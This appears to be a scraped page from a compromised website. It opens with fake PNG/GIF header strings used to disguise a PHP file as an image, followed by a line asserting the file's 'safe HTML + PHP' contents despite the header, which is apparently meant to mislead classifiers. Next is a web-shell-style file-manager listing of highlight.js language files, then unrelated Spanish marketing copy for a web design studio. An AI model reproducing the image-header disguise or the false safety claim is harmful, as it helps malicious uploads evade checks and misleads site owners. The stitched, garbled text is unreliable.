$假PNG头 = "\x89PNG\r\n\x1a\n"; "\头"\头"\头"\头"\头"\头 $假PNG头 = "\x89PNG\r\n\x1a\n "\头"\头 $假PNG头 = "\x89PNG\r\n\x1a\n"; GIF89a
Today's date is: 2026-02-12
This file starts with a GIF header, so some tools might classify it incorrectly, but the contents are safe HTML + PHP.

| Name | Size | Perm | Action |
|---|---|---|---|
| 📄 1c.json | 59119 bytes | ||
| 📄 abnf.json | 1665 bytes | ||
| 📄 accesslog.json | 1449 bytes | ||
| 📄 actionscript.json | 4495 bytes | ||
| 📄 ada.json | 4361 bytes | ||
| 📄 angelscript.json | 4376 bytes | ||
| 📄 apache.json | 2520 bytes | ||
| 📄 applescript.json | 4851 bytes | ||
| 📄 arcade.json | 9944 bytes | ||
| 📄 arduino.json | 16365 bytes | ||
| 📄 armasm.json | 5041 bytes | ||
| 📄 asciidoc.json | 4943 bytes | ||
| 📄 aspectj.json | 10353 bytes | ||
| 📄 autohotkey.json | 2619 bytes | ||
| 📄 autoit.json | 11671 bytes | ||
| 📄 avrasm.json | 3719 bytes | ||
| 📄 awk.json | 3464 bytes | ||
| 📄 axapta.json | 2738 bytes | ||
| 📄 bash.json | 3304 bytes | ||
| 📄 basic.json | 2879 bytes | ||
| 📄 bnf.json | 2600 bytes | ||
| 📄 brainfuck.json | 1257 bytes | ||
| 📄 cal.json | 4706 bytes | ||
| 📄 capnproto.json | 2550 bytes | ||
| 📄 ceylon.json | 3365 bytes | ||
| 📄 clean.json | 2199 bytes | ||
| 📄 clojure-repl.json | 234 bytes | ||
| 📄 clojure.json | 8114 bytes | ||
| 📄 cmake.json | 3387 bytes | ||
| 📄 coffeescript.json | 10276 bytes | ||
| 📄 coq.json | 4514 bytes | ||
| 📄 cos.json | 3200 bytes | ||
| 📄 cpp.json | 12776 bytes | ||
| 📄 crmsh.json | 3178 bytes | ||
| 📄 crystal.json | 18607 bytes | ||
| 📄 cs.json | 15743 bytes | ||
| 📄 csp.json | 571 bytes | ||
| 📄 css.json | 6951 bytes | ||
| 📄 d.json | 4804 bytes | ||
| 📄 dart.json | 7221 bytes | ||
| 📄 delphi.json | 7171 bytes | ||
| 📄 diff.json | 1547 bytes | ||
| 📄 django.json | 4757 bytes | ||
| 📄 dns.json | 2489 bytes | ||
| 📄 dockerfile.json | 1640 bytes | ||
| 📄 dos.json | 2171 bytes | ||
| 📄 dsconfig.json | 1657 bytes | ||
| 📄 dts.json | 6382 bytes | ||
| 📄 dust.json | 1396 bytes | ||
| 📄 ebnf.json | 2257 bytes | ||
| 📄 elixir.json | 8387 bytes | ||
| 📄 elm.json | 5429 bytes | ||
| 📄 erb.json | 771 bytes | ||
| 📄 erlang-repl.json | 2072 bytes | ||
| 📄 erlang.json | 9561 bytes | ||
| 📄 excel.json | 5530 bytes | ||
| 📄 fix.json | 825 bytes | ||
| 📄 flix.json | 2050 bytes | ||
| 📄 fortran.json | 5882 bytes | ||
| 📄 fsharp.json | 3429 bytes | ||
| 📄 gams.json | 10018 bytes | ||
| 📄 gauss.json | 39795 bytes | ||
| 📄 gcode.json | 3396 bytes | ||
| 📄 gherkin.json | 1697 bytes | ||
| 📄 glsl.json | 9463 bytes | ||
| 📄 gml.json | 51900 bytes | ||
| 📄 go.json | 3661 bytes | ||
| 📄 golo.json | 1514 bytes | ||
| 📄 gradle.json | 3628 bytes | ||
| 📄 groovy.json | 4558 bytes | ||
| 📄 haml.json | 4925 bytes | ||
| 📄 handlebars.json | 3902 bytes | ||
| 📄 haskell.json | 7648 bytes | ||
| 📄 haxe.json | 5775 bytes | ||
| 📄 hsp.json | 6343 bytes | ||
| 📄 htmlbars.json | 3615 bytes | ||
| 📄 http.json | 1382 bytes | ||
| 📄 hy.json | 7961 bytes | ||
| 📄 inform7.json | 1215 bytes | ||
| 📄 ini.json | 4684 bytes | ||
| 📄 irpf90.json | 6477 bytes | ||
| 📄 isbl.json | 75318 bytes | ||
| 📄 java.json | 6144 bytes | ||
| 📄 javascript.json | 14954 bytes | ||
| 📄 jboss-cli.json | 2214 bytes | ||
| 📄 json.json | 3343 bytes | ||
| 📄 julia-repl.json | 325 bytes | ||
| 📄 julia.json | 6417 bytes | ||
| 📄 kotlin.json | 12278 bytes | ||
| 📄 lasso.json | 9883 bytes | ||
| 📄 ldif.json | 1177 bytes | ||
| 📄 leaf.json | 1105 bytes | ||
| 📄 less.json | 10532 bytes | ||
| 📄 lisp.json | 6097 bytes | ||
| 📄 livecodeserver.json | 13232 bytes | ||
| 📄 livescript.json | 10619 bytes | ||
| 📄 llvm.json | 4077 bytes | ||
| 📄 lsl.json | 14641 bytes | ||
| 📄 lua.json | 4517 bytes | ||
| 📄 makefile.json | 2678 bytes | ||
| 📄 markdown.json | 3092 bytes | ||
| 📄 mathematica.json | 96512 bytes | ||
| 📄 matlab.json | 4884 bytes | ||
| 📄 maxima.json | 29433 bytes | ||
| 📄 mel.json | 18284 bytes | ||
| 📄 mercury.json | 4370 bytes | ||
| 📄 mipsasm.json | 4271 bytes | ||
| 📄 mizar.json | 1177 bytes | ||
| 📄 mojolicious.json | 458 bytes | ||
| 📄 monkey.json | 3624 bytes | ||
| 📄 moonscript.json | 6584 bytes | ||
| 📄 n1ql.json | 4896 bytes | ||
| 📄 nginx.json | 6119 bytes | ||
| 📄 nimrod.json | 2920 bytes | ||
| 📄 nix.json | 2366 bytes | ||
| 📄 nsis.json | 7659 bytes | ||
| 📄 objectivec.json | 5535 bytes | ||
| 📄 ocaml.json | 2647 bytes | ||
| 📄 openscad.json | 3525 bytes | ||
| 📄 oxygene.json | 7073 bytes | ||
| 📄 parser3.json | 2368 bytes | ||
| 📄 perl.json | 9269 bytes | ||
| 📄 pf.json | 2268 bytes | ||
| 📄 pgsql.json | 26860 bytes | ||
| 📄 php.json | 8919 bytes | ||
| 📄 plaintext.json | 34 bytes | ||
| 📄 pony.json | 2490 bytes | ||
| 📄 powershell.json | 10904 bytes | ||
| 📄 processing.json | 4697 bytes | ||
| 📄 profile.json | 1529 bytes | ||
| 📄 prolog.json | 4323 bytes | ||
| 📄 properties.json | 2122 bytes | ||
| 📄 protobuf.json | 2061 bytes | ||
| 📄 puppet.json | 6794 bytes | ||
| 📄 purebasic.json | 2676 bytes | ||
| 📄 python.json | 8533 bytes | ||
| 📄 q.json | 2139 bytes | ||
| 📄 qml.json | 7604 bytes | ||
| 📄 r.json | 2342 bytes | ||
| 📄 reasonml.json | 15121 bytes | ||
| 📄 rib.json | 2440 bytes | ||
| 📄 roboconf.json | 2568 bytes | ||
| 📄 routeros.json | 6248 bytes | ||
| 📄 rsl.json | 2814 bytes | ||
| 📄 ruby.json | 14462 bytes | ||
| 📄 ruleslanguage.json | 5605 bytes | ||
| 📄 rust.json | 5782 bytes | ||
| 📄 sas.json | 5695 bytes | ||
| 📄 scala.json | 5261 bytes | ||
| 📄 scheme.json | 8530 bytes | ||
| 📄 scilab.json | 2935 bytes | ||
| 📄 scss.json | 9336 bytes | ||
| 📄 shell.json | 288 bytes | ||
| 📄 smali.json | 2358 bytes | ||
| 📄 smalltalk.json | 2285 bytes | ||
| 📄 sml.json | 2521 bytes | ||
| 📄 sqf.json | 34547 bytes | ||
| 📄 sql.json | 14971 bytes | ||
| 📄 stan.json | 8473 bytes | ||
| 📄 stata.json | 18402 bytes | ||
| 📄 step21.json | 2927 bytes | ||
| 📄 stylus.json | 8198 bytes | ||
| 📄 subunit.json | 933 bytes | ||
| 📄 swift.json | 7393 bytes | ||
| 📄 taggerscript.json | 882 bytes | ||
| 📄 tap.json | 1335 bytes | ||
| 📄 tcl.json | 3947 bytes | ||
| 📄 tex.json | 2922 bytes | ||
| 📄 thrift.json | 2384 bytes | ||
| 📄 tp.json | 4223 bytes | ||
| 📄 twig.json | 3536 bytes | ||
| 📄 typescript.json | 12438 bytes | ||
| 📄 vala.json | 2933 bytes | ||
| 📄 vbnet.json | 3300 bytes | ||
| 📄 vbscript-html.json | 164 bytes | ||
| 📄 vbscript.json | 2332 bytes | ||
| 📄 verilog.json | 6786 bytes | ||
| 📄 vhdl.json | 3215 bytes | ||
| 📄 vim.json | 9809 bytes | ||
| 📄 x86asm.json | 20787 bytes | ||
| 📄 xl.json | 3567 bytes | ||
| 📄 xml.json | 8203 bytes | ||
| 📄 xquery.json | 7723 bytes | ||
| 📄 yaml.json | 3304 bytes | ||
| 📄 zephir.json | 7943 bytes |
Sitios web para empresas o negocios de cualquier tamaño y presupuesto.
Aplicaciones web para empresas o negocios que necesitan automatizar parte de sus procesos o hacer una transformación digital total.
Creación de imagen corporativa para tu empresa o negocio. Naming, logotipos, papelería.
Somos un estudio de desarrollo de sitios web e imagen corporativa. Desarrollamos sitios y aplicaciones web personalizados para diferentes tipos de personas y negocios. Queremos que tu presencia en internet se note, por eso desarrollamos usando sólidas tecnologías y elegimos las tendencias que mejor se ajusten a tus necesidades.
Entendemos que cada persona y negocio son únicos y tienen
necesidades diferentes.
Está bien, desarrollamos tu sitio web estático y lo dejamos listo para que lo sigas ampliando en el futuro.
No hay problema, te entregamos un CMS para que tú decidas qué y cuándo publicas.
Lo tenemos cubierto. Desarrollamos tu aplicación web hecha a la medida de las políticas de tu negocio.